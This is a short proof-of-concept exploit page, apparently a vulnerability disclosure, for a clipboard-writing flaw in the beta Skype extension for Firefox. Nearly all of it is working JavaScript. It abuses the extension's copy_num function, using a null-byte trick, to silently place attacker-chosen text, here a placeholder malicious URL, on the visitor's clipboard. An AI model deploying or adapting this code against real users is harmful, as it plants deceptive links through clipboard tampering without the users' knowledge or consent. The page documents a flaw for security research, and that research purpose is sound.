<!--------------------------------------------------------------------------- Skype extension for Firefox BETA 2.2.0.95 Clipboard Writing Vulnerability PoC download: https://developer.skype.com/SkypeToolbars Author: irk4z[at]yahoo.pl homepage: http://irk4z.wordpress.com/ greets: all friends ----------------------------------------------------------------------------> <a href="#" onclick="check_it();" >test it!</a> <script type="text/javascript"> function copy_to_clipboard( text ){ if (skype_tool) { var copy_it = text + '\0+'; //use null byte to copy value, because '+' char must be in string skype_tool.copy_num( copy_it ); } } function check_it(){ //copy_to_clipboard('malicious text!!!!!!!!!!!\n\n\n!!'); //copy_to_clipboard('http://irk4z.wordpress.com/'); copy_to_clipboard('http://malicious.link.to.bad.page/'); alert('Done! Check your clipboard!'); } </script>